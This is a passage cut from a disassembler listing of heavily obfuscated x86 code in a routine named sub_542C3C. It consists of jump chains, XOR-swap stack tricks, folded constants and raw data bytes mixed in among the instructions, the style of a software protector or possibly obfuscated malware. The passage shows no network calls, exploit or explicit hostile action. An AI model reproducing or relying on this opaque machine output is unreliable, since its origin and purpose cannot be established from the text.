		mov	ebp, 66787119h
		add	edi, ebp
		pop	ebp
		push	ecx
		mov	ecx, 769938FEh
		not	ecx
		sub	ecx, 7D7D5155h
		sub	edi, ecx
		mov	ecx, [esp+38h+var_38]
		add	esp, 4
		add	esi, edi
		pop	edi
		xor	edi, esi
		mov	esi, [esp+30h+var_30]
		jmp	loc_546EF6
; ---------------------------------------------------------------------------

loc_54C467:				; CODE XREF: sub_542C3C+5649j
		sub	ch, 1
		jmp	loc_548D07
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FFF03BE9h, 80D5F6FFh, 0EC28C8C5h, 15A2E9h, 0E9022C00h
		dd 561Fh, 0E9240489h, 0A38h, 4244481h, 47525753h, 4246C81h
		dd 3C6A1131h, 4246C01h,	3011E9h, 0C2815E00h, 4,	8B241487h
		dd 0C4812424h, 4, 5A2434FFh, 4EC81h, 0C890000h,	0C8B5424h
		dd 4C48324h, 4EC81h, 4890000h, 2B65B824h, 554808AFh, 0AF2B60BDh
		dd 0CD41E908h, 535CFFFFh, 0FFB75DE9h, 3CCE81FFh, 0F76B715Ah
		dd 0B1B1E9D6h, 0C483FFFFh, 0A774E904h, 685EFFFFh, 6039h
		dd 56240C89h, 4D3F68BEh, 48EAE91Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54C51A:				; CODE XREF: sub_542C3C+FCFBj
		shl	ecx, 6
		jmp	loc_5513C4
; ---------------------------------------------------------------------------
		dw 0C280h
		dd 25C28034h, 148BD508h, 4C48124h, 80000000h, 77E9A4E5h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54C53B:				; CODE XREF: sub_542C3C+E741j
		push	28B3h
		mov	[esp+40h+var_40], ebx
		jmp	loc_547A49
; ---------------------------------------------------------------------------
		dd 4ED6BF57h, 67E957ABh, 54FFFFE7h, 4C5815Dh, 83000000h
		dd 0FF5504C5h, 8B042474h, 0C481242Ch, 4, 8B24048Fh, 4872424h
		dd 0F647E924h, 0E9C0FFFFh, 0E9C9FE08h, 120Fh, 93E9E089h
		dd 89FFFFDEh, 4C681E6h,	0E9000000h, 0FFFFF438h,	0C02475BBh
		dd 0D655E946h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C5A2:				; CODE XREF: sub_542C3C+94DFj
		add	ebx, 4
		xor	ebx, [esp+38h+var_38]
		xor	[esp+38h+var_38], ebx
		xor	ebx, [esp+38h+var_38]
		mov	esp, [esp+38h+var_38]
		shr	eax, 12h
		xor	eax, ecx
		jmp	loc_551323
; ---------------------------------------------------------------------------
		dw 5566h
		dd 8FBA6652h, 0D5896609h, 8124148Bh, 4C4h, 6C296600h, 5D660224h
		dd 24348B66h, 6602C483h, 98FC681h, 0EE81665Fh, 3166DB28h
		dd 2434FFF0h, 4C4835Eh,	8904EC83h, 0BE662434h, 9E97720h
		dd 0BF00003Bh, 2558F82Dh, 815FF929h, 3171ECC3h,	81CB295Ch
		dd 3171ECEBh, 0E951595Ch, 1855h, 8324048Bh, 52E904C4h
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54C62B:				; CODE XREF: sub_542C3C+5FCBj
		pop	eax
		xchg	ebx, [esp+30h+var_30]
		jmp	loc_54D381
; ---------------------------------------------------------------------------

loc_54C634:				; CODE XREF: sub_542C3C+F5CAj
		pop	edx
		push	ebx
		push	eax
		mov	ah, 0B2h
		mov	bl, 42h
		sub	bl, 92h
		sub	bl, ah
		jmp	loc_548245
; ---------------------------------------------------------------------------
		db 2Dh,	8Dh, 63h
		dd 0D8F7544Eh, 0C57DB735h, 58C129BFh, 5C240C87h, 54243C89h
		dd 4C7815Fh, 81000000h,	4C7h, 0D62DE900h, 15AFFFFh, 0CAD3E9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C676:				; CODE XREF: sub_542C3C+479Aj
		mov	[esp+24h+var_24], ecx
		mov	ecx, esp
		jmp	loc_54CCC4
; ---------------------------------------------------------------------------

loc_54C680:				; CODE XREF: sub_542C3C+B640j
		pop	esp
		inc	word ptr [esp+20h+var_20]
		pushf
		jmp	loc_546C7A
; ---------------------------------------------------------------------------
		db 52h
		dd 0D34204BAh, 90F28165h, 0E9110A31h, 0FFFFEF9Bh, 0B951525Bh
		dd 79C66E1Bh, 8108E9C1h, 6A6D63E9h, 68D1F70Bh, 2A80h, 0BD242C89h
		dd 30836E46h, 3CE9E909h, 81000030h, 0FD899DE9h,	0D266E9E8h
		dd 12DFFFFh, 0C1000000h, 0D8F708E8h, 0FFF350E9h, 3851BBFFh
		dd 0C3816FD4h, 0FFFFFFFFh, 0EB81E3D1h, 0CEA961C7h, 0FFFC7AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C6F5:				; CODE XREF: sub_542C3C+C6BDj
		push	eax
		mov	eax, 1FCA2EF9h
		jmp	loc_54DE66
; ---------------------------------------------------------------------------
		dd 0E9A6E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C706:				; CODE XREF: sub_542C3C+F2A9j
		push	eax
		mov	eax, esp
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		jmp	loc_54C326
; ---------------------------------------------------------------------------

loc_54C716:				; CODE XREF: sub_542C3C+DEE3j
		mov	esp, [esp+30h+var_30]
		not	ecx
		inc	ecx
		sub	ecx, 0A9A5AC1Ah
		mov	[edi+24h], ecx
		mov	ecx, [esp+30h+var_30]
		jmp	loc_54C852
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 95h
		dd 1A608D4h, 0F3095BDEh, 0EB814B5Eh, 0FBE43DEh,	0C381DBF7h
		dd 6BBF3C53h, 3FA0EB81h, 0FB0162CCh, 3FA0C381h,	0EC8362CCh
		dd 240C8904h, 0DC68C188h, 0E900003Dh, 0FFFFDDB6h, 8324148Bh
		dd 0E82804C4h, 0FFD7CAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C775:				; CODE XREF: sub_542C3C+60CDj
		pop	ecx
		xor	dh, 4Ch
		sub	al, 3Eh
		sub	al, dh
		push	ecx
		mov	cl, 71h
		not	cl
		push	edx
		mov	dh, 91h
		jmp	loc_5491CD
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 24042024h, 0A4E4E99Ch, 54BBFFFFh, 81273E07h,	601382C3h
		dd 33E1E90Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54C7A6:				; CODE XREF: sub_542C3C+D69Fj
		pop	eax
		jmp	loc_5495D2
; ---------------------------------------------------------------------------
		dd 4C481h, 37E90000h, 8100003Dh, 0E094BC3h, 2434FF53h
		dd 0E0895058h, 405h, 4BB5300h, 1000000h, 5CBBE9D8h, 0D9880000h
		dd 81241C8Bh, 4C4h, 1AEEE900h, 0E5800000h, 82B252B0h, 0E934B353h
		dd 0FFFFAA5Ch, 0E9242489h, 0FFFFA4A5h
; ---------------------------------------------------------------------------

loc_54C7FC:				; CODE XREF: sub_542C3C+C235j
		add	eax, edi
		push	edi
		mov	edi, 295301A6h
		inc	edi
		neg	edi
		xor	edi, 186D6E42h
		jmp	loc_552846
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 41651D95h, 0FFB012E9h, 50C501FFh, 0E4FEFB8h,	0C0B0E940h
		dd 481FFFFh, 424h, 0B9515E00h, 30F73B05h, 8108E1C1h, 1C1h
		dd 0E64BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C846:				; CODE XREF: sub_542C3C+C12Aj
		mov	esp, [esp+44h+var_44]
		mov	[esp+44h+var_44], ebx
		push	eax
		jmp	loc_5476F6
; ---------------------------------------------------------------------------

loc_54C852:				; CODE XREF: sub_542C3C+9AECj
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_54CF00
; ---------------------------------------------------------------------------
		dd 0E929EE80h, 0FFFFF3A3h
; ---------------------------------------------------------------------------

loc_54C868:				; CODE XREF: sub_542C3C+EC1Bj
		and	eax, edi
		mov	edi, [esp+34h+var_34]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		jmp	loc_54D39F
; ---------------------------------------------------------------------------
		db 66h
		dd 66C8B60Fh, 6660B868h, 0E9240C89h, 0FFFFA3EEh, 243C895Ch
		dd 3F7F68h, 0AA2AE900h,	5D68FFFFh, 8900004Bh, 0E95B2434h
		dd 0FFFFC91Dh, 0AE9B850h, 448128B8h, 0E640824h,	44294E81h
		dd 6C810824h, 0E640824h, 1584E81h, 0E904244Ch, 67D4h
; ---------------------------------------------------------------------------

loc_54C8CC:				; CODE XREF: sub_542C3C+1044Ej
		sub	ecx, 207563D0h
		add	ecx, esi
		jmp	loc_54D475
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 8104C483h, 4C6h, 0AF8DE900h,	0EE81FFFFh, 1D1419E4h
		dd 37E9CE01h, 81FFFFC7h, 6B1881C3h, 0B7EB8149h,	5038B156h
		dd 0D111D0B8h, 620AE90Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54C90E:				; CODE XREF: sub_542C3C+7213j
		not	ebx
		jmp	loc_54C423
; ---------------------------------------------------------------------------

loc_54C915:				; CODE XREF: sub_542C3C+6A6Dj
		sub	esp, 4
		mov	[esp+34h+var_34], ecx
		push	esp
		jmp	loc_54B6F0
; ---------------------------------------------------------------------------
		dd 11F18149h, 1525311h,	875B59CEh, 15E92434h, 29FFFFC2h
		dd 0E95F387Ah, 0FFFFD842h, 8324048Fh, 59042404h, 0AD9CE952h
		dd 0DFF7FFFFh, 0FFE16FE9h, 1C77FFFFh, 411589Dh,	0E6E99C24h
		dd 66FFFFB6h, 0E9241489h, 0FFFFDC54h, 75C868h, 0A431E900h
		dd 0C531FFFFh, 0ECB85058h, 0C135166Fh, 0EFE902E8h, 0F7000012h
		dd 0E188E9D2h, 0B951FFFFh, 15F2E33Bh, 164CE9h, 1C77FF00h
		dd 6659669Dh, 9C241CD3h, 0FFA2D1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C9A9:				; CODE XREF: sub_542C3C+72F6j
		pop	edx
		add	eax, edi
		sub	eax, 75CE1485h
		add	[eax], edx
		jmp	loc_547BAD
; ---------------------------------------------------------------------------

loc_54C9B8:				; CODE XREF: sub_542C3C+F450j
		pop	edi
		push	esi
		push	[esp+38h+var_34]
		pop	esi
		pop	[esp+38h+var_38]
		pop	esp
		mov	[esp+30h+var_30], eax
		xchg	eax, [esp+30h+var_30]
		not	eax
		jmp	loc_552C88
; ---------------------------------------------------------------------------
		dd 57BF575Bh, 0D13D0379h, 7CF781EFh, 0E90D8958h, 2BF9h
		dd 0F39D0548h, 0C2096E6Dh, 0FAEA8158h, 1A157FFh, 2434FFD0h
		dd 0E389535Ah, 4C381h, 0C3830000h, 241C8704h, 2C0835Ch
		dd 31240433h, 0AFE92404h, 57000045h, 6F77B968h,	0EFC15F53h
		dd 4FEFD103h, 0FFF386E9h, 0A24CE9FFh, 47E9FFFFh, 8BFFFFA2h
		dd 0E957241Ch, 996h, 0F1F28059h, 148BD028h, 4C48124h, 2C000000h
		dd 57CE92Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54CA52:				; CODE XREF: sub_542C3C+E64Aj
		pop	esp
		sub	[edi+24h], ebp
		mov	ebp, [esp+2Ch+var_2C]
		push	ebp
		jmp	loc_552C9D
; ---------------------------------------------------------------------------
		db 0B4h
		dd 2FEB80B4h, 52E9E328h, 0ADFFFFD2h, 585FE9h, 58C23100h
		dd 815AD531h, 72634BC5h, 4629E989h, 0EBD0000h, 312FF3D0h
		dd 242C8BEEh, 0E904C483h, 0FFFFFE06h, 8B241433h, 5F212424h
		dd 2434FF1Ch, 0DC67E95Bh, 0D6F7FFFFh, 5007EEC1h, 36B76853h
		dd 435B6F5Dh, 0ED14E943h, 0C380FFFFh, 93EB8001h, 284CB652h
		dd 24148BF3h, 4C481h, 8AE90000h, 35FFFFB1h, 0E817BD09h
		dd 5286E9h, 83596600h, 148904ECh, 5AB15124h, 8059CA88h
		dd 506601EAh, 0FFD024E9h, 240C33FFh, 0FFB902E9h, 0BAE959FFh
		dd 0BEFFFFA2h, 6BB558C5h, 50C4EE81h, 0CE8152C2h, 3A424E91h
		dd 0FFA929E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54CB19:				; CODE XREF: sub_542C3C+6F52j
		mov	esi, edi
		jmp	loc_54BB8E
; ---------------------------------------------------------------------------
		dd 8904EC83h, 32E9241Ch, 5CFFFFB6h, 0E95BDE89h,	1FD9h
		dd 0E9243C89h, 0FFFFFAC7h, 505F801h, 5F067A56h,	6C0D68h
		dd 243C8900h, 0FFEC8BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54CB51:				; CODE XREF: sub_542C3C+E1C3j
		xor	al, 0C1h
		jmp	loc_5475D7
; ---------------------------------------------------------------------------

loc_54CB58:				; CODE XREF: sub_542C3C+BEB0j
		xor	edx, [esp+2Ch+var_2C]
		xor	[esp+2Ch+var_2C], edx
		xor	edx, [esp+2Ch+var_2C]
		mov	esp, [esp+2Ch+var_2C]
		or	byte ptr [esp+2Ch+var_2C], al
		pushf
		jmp	loc_546C7A
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 2904C483h, 5A042454h, 5224048Bh, 0FFEFD4E9h,	240433FFh
		dd 1C7815Ch, 0E9000000h, 0FFFFDBCDh, 0CD80D5F6h, 6E5C0D3h
		dd 0FFDCACE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54CB9D:				; CODE XREF: sub_542C3C+6C38j
		pop	edx
		push	esi
		jmp	loc_55151B
; ---------------------------------------------------------------------------
		dd 5E2434FFh, 648BE9h, 15E95600h, 0BB000008h, 54D835FDh
		dd 455BDD31h, 2F2BCD81h, 11E90047h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------

loc_54CBC7:				; CODE XREF: sub_542C3C+C4ADj
		dec	edi
		xchg	edi, ebp
		not	ebp
		push	65DAh
		mov	[esp+38h+var_38], edx
		push	33751932h
		pop	edx
		jmp	loc_548BCA
; ---------------------------------------------------------------------------

loc_54CBDF:				; CODE XREF: sub_542C3C+FDFAj
		sub	ecx, 2F6DDC3Bh
		mov	esi, ecx
		pop	ecx
		jmp	loc_548143
; ---------------------------------------------------------------------------
aIqSP		db '‰ï]é+P',0
		dd 240C8B00h, 4C481h, 0D2E90000h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CC03:				; CODE XREF: sub_542C3C+DF7Cj
		add	edx, 19F970FCh
		shl	edx, 6
		sub	edx, 0E0A9D545h
		mov	ebp, edx
		jmp	loc_54C3B2
; ---------------------------------------------------------------------------

loc_54CC19:				; CODE XREF: sub_542C3C+D6AAj
		add	ebp, 4
		push	ecx
		mov	ecx, 508377D2h
		not	ecx
		push	edx
		jmp	loc_54E2A2
; ---------------------------------------------------------------------------

loc_54CC2D:				; CODE XREF: sub_542C3C+94C1j
		xchg	edx, [esp+34h+var_34]
		jmp	loc_549477
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 2
		dd 30000000h, 0C0B60FC3h, 24148B66h, 57E08950h,	7A5307BFh
		dd 0E320E934h, 0E961FFFFh, 2496h, 2404FF5Ch, 0A018E99Ch
		dd 55AFFFFh, 1F64220Ch,	0C2DE801h, 8B1F6422h, 0C481242Ch
		dd 4, 2B85056h,	89000000h, 574DE9C6h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54CC86:				; CODE XREF: sub_542C3C+E372j
		jz	loc_5496A2
		push	dword ptr [edi+28h]
		sub	[esp+38h+var_38], 2E3903D7h
		mov	eax, [esp+38h+var_38]
		add	esp, 4
		push	ecx
		jmp	loc_54D062
; ---------------------------------------------------------------------------
		dd offset dword_4F0844+124h
		dw 8900h
		dd 2BE2434h, 89000000h,	0FD015EF7h, 1EACE9h, 56685200h
		dd 0E95C6C31h, 0FFFFA09Bh
; ---------------------------------------------------------------------------

loc_54CCC4:				; CODE XREF: sub_542C3C+9A3Fj
		push	eax
		push	72BE741Ah
		pop	eax
		jmp	loc_54E122
; ---------------------------------------------------------------------------
		dd 276A9405h, 7C146851h, 3C890000h, 5C19BF24h, 1E93028h
		dd 1FFFFE0h, 0BA055BD8h, 0E913B849h, 1E93h, 24048B66h
		dd 325568h, 241C8900h, 115468h,	24248900h, 4240481h, 0E9000000h
		dd 0FFFFDFF9h
; ---------------------------------------------------------------------------

loc_54CD14:				; CODE XREF: sub_542C3C+E45Fj
		and	edi, ecx
		pop	ecx
		xor	edi, 52C22F6Dh
		add	edi, 0AD3DB397h
		jmp	loc_54D817
; ---------------------------------------------------------------------------
		dd 24048B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		jmp	loc_548190
; ---------------------------------------------------------------------------
		db 52h
		dd 4BAh, 5AD60100h, 2EE81h, 34870000h, 89665C24h, 10B5240Ch
		dd 8B66EB28h, 0C481240Ch, 2, 0FFDA8DE9h, 242489FFh, 4240481h
		dd 5B000000h, 49DEE9h, 5C18100h, 0E95BEC68h, 4595h, 614BD55h
		dd 0D5F70359h, 6E5C145h, 56ECF581h, 0E5816487h,	27A12A28h
		dd 2824ED81h, 0EE010521h, 4C6815Dh, 87000000h, 815C2434h
		dd 2C6h, 0CA0DE900h, 6866FFFFh,	89660CD5h, 30E92414h, 81000055h
		dd 4C5h, 4ED8300h, 4D3E9h, 24348700h, 36F0E9h, 20966800h
		dd 97E90000h, 0FFFFF0h,	2434FFF4h, 0E924148Bh, 0FFFFE75Ah
		dd 0D5E7815Fh, 81283B72h, 5156DEF7h, 0FAC7816Dh, 89BAACDBh
		dd 0C3895FF8h, 5284E9h,	2EFC100h, 0F781D7F7h, 0AAAE9F92h
		dd 33E9F929h, 55000040h, 2151BD66h, 5E94D66h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CE2B:				; CODE XREF: sub_542C3C+E09Fj
		add	esi, ebx
		pop	ebx
		and	eax, esi
		mov	esi, [esp+28h+var_28]
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		push	5BAh
		mov	[esp+28h+var_28], eax
		push	ebx
		jmp	loc_548357
; ---------------------------------------------------------------------------
		db 5Dh,	57h, 0E9h
		dd 1D7Ch, 35FFC083h, 78B7405Bh,	0BE56D0F7h, 421B0FE7h
		dd 0E901C683h, 4829h, 3304C483h, 20E92434h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54CE73:				; CODE XREF: sub_542C3C+9441j
		mov	edi, 4
		add	ecx, edi
		pop	edi
		push	edi
		mov	edi, 2
		add	ecx, edi
		push	[esp+30h+var_30]
		pop	edi
		add	esp, 4
		xor	ecx, [esp+2Ch+var_2C]
		xor	[esp+2Ch+var_2C], ecx
		xor	ecx, [esp+2Ch+var_2C]
		pop	esp
		rol	byte ptr [esp+28h+var_28], cl
		pushf
		jmp	loc_54F5BA
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 14h
		dd 5FFFFFDAh, 31240433h, 4332404h, 24248B24h, 0FFABD8E9h
		dd 5AD520FFh, 0E973F580h, 499Ch
; ---------------------------------------------------------------------------

loc_54CEC0:				; CODE XREF: sub_542C3C+6A3Aj
		shl	ecx, 7
		jmp	loc_550C3A
; ---------------------------------------------------------------------------
		dd 0FF9DADE9h, 4C483FFh, 0E9241433h, 5B74h, 2490F581h
		dd 0E5C13961h, 1710E906h, 0B2520000h, 0BCC180FFh, 0FF9F59E9h
		dd 0C1815EFFh, 2, 0E9240C87h, 0FFFFDF22h
; ---------------------------------------------------------------------------

loc_54CF00:				; CODE XREF: sub_542C3C+9C1Fj
		add	esi, 4
		jmp	loc_54E242
; ---------------------------------------------------------------------------
		dd 3E39F681h, 0BF572C92h, 73441748h, 5211E781h,	0BA520083h
		dd 0BEE7BC58h, 0FFF288E9h, 42D2F7FFh, 0D94CEA81h, 0EF81B120h
		dd 3C003420h, 0C781D701h, 3C003420h, 2BE565Ah, 1000000h
		dd 0FF575EF7h, 5F042474h, 5C24048Fh, 24042166h,	9D20E99Ch
		dd 0C87FFFFh, 0F828E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54A57C
; ---------------------------------------------------------------------------

loc_54CF6A:				; CODE XREF: sub_542C3C+10269j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+38h+var_38]
		jmp	loc_54C313
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 88241C89h, 8BDD88E3h, 4E9241Ch, 80FFFFBDh, 0F1E9E7C5h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54CF9B:				; CODE XREF: sub_542C3C+9771j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+38h+var_38]
		pop	esp
		push	7AB2h
		mov	[esp+38h+var_38], esi
		mov	esi, 75D214BEh
		neg	esi
		push	ebp
		push	eax
		push	50B1353Bh
		mov	eax, [esp+44h+var_44]
		add	esp, 4
		jmp	loc_54AC81
; ---------------------------------------------------------------------------
		dw 0D000h
		dd 8042B04h, 0F0C3805Ah, 8171C380h, 4ECh, 2F48E900h, 81580000h
		dd 1EFh, 5EFC100h, 4F18E9h, 243C8B00h, 0C104C483h, 0BE5607E7h
		dd 55F6DD02h, 94E9F701h, 8100004Dh, 0E2469EC7h,	0F9015937h
		dd 33BE565Fh, 0F7078702h, 1C681D6h, 0E9000000h,	0FFFFD866h
		dd 0C80061B1h, 0E9B90459h, 39E3h, 4C281h, 51E90000h, 68FFFFB3h
		dd 527Bh, 50240C89h, 74B533B0h,	0FFCB42E9h, 241C33FFh
		dd 33241C31h, 248B241Ch, 51EAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54D062:				; CODE XREF: sub_542C3C+A061j
		push	eax
		mov	eax, 61115FFFh
		mov	ecx, 0B34BDA7Ch
		add	ecx, eax
		pop	eax
		shl	ecx, 3
		push	edx
		push	ebx
		mov	ebx, 45D564ACh
		jmp	loc_5479B5
; ---------------------------------------------------------------------------
		db 81h
		dd 1675E9E9h, 0B8505E60h, 5A5034ECh, 3504E0C1h,	0A5034EC4h
		dd 0E958C101h, 1749h
; ---------------------------------------------------------------------------

loc_54D09C:				; CODE XREF: sub_542C3C+F735j
		mov	edx, 2F437878h
		shr	edx, 6
		push	edi
		push	0FF42F220h
		pop	edi
		add	edx, edi
		pop	edi
		sub	esp, 4
		jmp	loc_54B6B9
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 4BFh, 68525000h, 2FF37B2Dh, 0BEE2815Ah, 812B4E16h, 0A70F52EAh
		dd 0B913E950h, 1C87FFFFh, 0C895C24h, 0FBB25224h, 767E9h
		dd 0E9C70900h, 0FFFFFEF6h, 355EF009h, 840843B3h, 2958C129h
		dd 0C32959CBh, 8904EC83h, 0E189240Ch, 0FFBD16E9h, 5E1C68FFh
		dd 0C890000h, 36A86824h, 43E90000h, 5A000022h, 3805D8F7h
		dd 0E91CC906h, 0FFFFC8A7h, 0B67FE9ADh, 5351FFFFh, 7BE909B7h
		db 54h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54D13B:				; CODE XREF: sub_542C3C+FC89j
		push	edi
		mov	edi, 7CE03DEAh
		jmp	loc_547BB3
; ---------------------------------------------------------------------------
		dw 0EE01h
		dd 5C05C681h, 34FF573Bh, 242C8B24h, 0E904C483h,	2938h
; ---------------------------------------------------------------------------

loc_54D15C:				; CODE XREF: sub_542C3C+E25Cj
		pop	ecx
		sub	ecx, 51F107E4h
		push	ecx
		mov	eax, [esp+48h+var_48]
		add	esp, 4
		jmp	loc_54EA2E
; ---------------------------------------------------------------------------
		db 87h
		dd 248B241Ch, 2BB5324h,	1000000h, 14875BDAh, 9D59E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D186:				; CODE XREF: sub_542C3C+D0EDj
		push	[esp+44h+var_44]
		jmp	loc_54F707
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24348904h, 0C6815E54h, 4, 8704EE83h,	248B2434h, 9BE4E924h
		dd 34FFFFFFh, 0E9535824h, 4DA3h
; ---------------------------------------------------------------------------

loc_54D1B4:				; CODE XREF: sub_542C3C+6E6Dj
		xor	ebp, 0FD87C969h
		mov	eax, ebp
		pop	ebp
		xor	ebp, eax
		pop	eax
		mov	edi, ebp
		pop	ebp
		add	edi, 5A12684Bh
		jmp	loc_552707
; ---------------------------------------------------------------------------

loc_54D1CE:				; CODE XREF: sub_542C3C+91FEj
		shl	edi, 4
		shl	edi, 4
		jmp	loc_549B70
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 8904EC83h, 0E789243Ch, 4C781h, 0BD550000h, 4, 11D3EF81h
		dd 0EF01691Ch, 1274B951h, 0E1817BF1h, 574103A0h, 0FFE877E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D209:				; CODE XREF: sub_542C3C+F4C0j
		add	edi, 3D76CE4h
		mov	ebx, [esp+10h+var_10]
		jmp	loc_54EF7D
; ---------------------------------------------------------------------------
		db 66h
		dd 53D8005Bh, 0CB8054B3h, 5F4DE93Ch, 0E0890000h, 405h
		dd 4C08300h, 0E9240487h, 5AD9h,	5C6CE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54D23E:				; CODE XREF: sub_542C3C+FE3Cj
		pop	ebp
		push	edi
		mov	edi, 481A7811h
		xor	ebp, edi
		pop	edi
		mov	edx, ebp
		pop	ebp
		mov	ebp, edx
		jmp	loc_54F959
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48124h, 56000000h,	2BEh, 466CE900h, 0C7800000h, 0F8285978h
		dd 0C3805B66h, 68C30073h, 5669h, 51241489h, 0B533B353h
		dd 0D238E9B0h, 6858FFFFh, 3902h, 66240C89h, 663A2B68h
		dd 52240489h, 0E6D07EB6h, 0E9E9EE80h, 401Fh, 5C242C87h
		dd 0B1240C89h, 0D95EE997h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D2B2:				; CODE XREF: sub_542C3C+E93Fj
		xchg	ecx, [esp+8+var_8]
		pop	esp
		jmp	loc_548516
; ---------------------------------------------------------------------------

loc_54D2BB:				; CODE XREF: sub_542C3C+B98Dj
		add	esp, 4
		xchg	ebp, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], edi
		push	esp
		jmp	loc_54BE83
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 545102B6h, 72BE5659h, 0F76D8B43h, 0C1EE81DEh, 0C16EE42Fh
		dd 0E68103E6h, 37006322h, 621CEE81h, 0F1011400h, 286BE95Eh
		dd 0E7890000h, 4C781h, 0C7810000h, 4, 5C243C87h, 0FF9969E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D311:				; CODE XREF: sub_542C3C+5E57j
		sub	esi, ebx
		sub	esi, 272C765Bh
		pop	ebx
		add	ebx, esi
		pop	esi
		add	ebx, 4
		push	638Eh
		jmp	loc_552943
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 2, 0EE9CE01h
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54D337:				; CODE XREF: sub_542C3C+CD26j
		sub	esp, 4
		mov	[esp+28h+var_28], ecx
		mov	ecx, 24h
		add	ecx, edi
		push	eax
		mov	eax, 0
		add	eax, ecx
		add	[eax], ebp
		jmp	loc_548819
; ---------------------------------------------------------------------------

loc_54D353:				; CODE XREF: sub_542C3C+EDE9j
		sub	[esp+2Ch+var_2C], 262E35D4h
		mov	ebx, [esp+2Ch+var_2C]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp+30h+var_30]
		xor	[esp+30h+var_30], ebp
		xor	ebp, [esp+30h+var_30]
		pop	esp
		add	ebx, 262E35D4h
		jmp	loc_5526B3
; ---------------------------------------------------------------------------

loc_54D381:				; CODE XREF: sub_542C3C+99F3j
		pop	esp
		jmp	loc_54B070
; ---------------------------------------------------------------------------
		db 29h
		dd 243C8BF9h, 4C481h, 0B3E90000h, 8BFFFFDEh, 0C2E9243Ch
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D39F:				; CODE XREF: sub_542C3C+9C3Aj
		push	edx
		mov	edx, 4
		mov	ebp, edx
		pop	edx
		add	eax, ebp
		pop	ebp
		jmp	loc_55066B
; ---------------------------------------------------------------------------
		dd 0E904C483h, 153Ah, 24048F5Dh, 6624248Bh, 0E924048Bh
		dd 26FBh, 9E5B07BEh, 0DD2E960h,	5F540000h, 530E9h, 81D12900h
		dd 1A227CC1h, 5C36E96Eh, 0D6010000h, 240C8B5Ah,	0E904C483h
		dd 0FFFFC0C8h, 9D1C77FFh, 0D3665966h, 0E99C2414h, 2898h
		dd 0E904C483h, 0FFFFE8B2h
; ---------------------------------------------------------------------------

loc_54D40C:				; CODE XREF: sub_542C3C+4CADj
		mov	[esp+24h+var_24], esi
		push	edx
		jmp	loc_54EE1C
; ---------------------------------------------------------------------------

loc_54D415:				; CODE XREF: sub_542C3C+5090j
		sub	eax, 66FF5D6Bh
		jmp	loc_54DAFE
; ---------------------------------------------------------------------------
		db 1
		dd 0D8C681CEh, 814DB23Fh, 955FFDC6h, 5E95218h, 87000007h
		dd 66E92434h
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54D43B:				; CODE XREF: sub_542C3C+4F1Dj
		push	3269h
		mov	[esp+3Ch+var_3C], ebx
		jmp	loc_550FD3
; ---------------------------------------------------------------------------
		dd 6804C483h, 4D16h, 0E9240489h, 0FFFF9822h, 6772BB53h
		dd 0E38174BBh, 71FE08D5h, 77E94Bh, 0EC830000h, 240C8904h
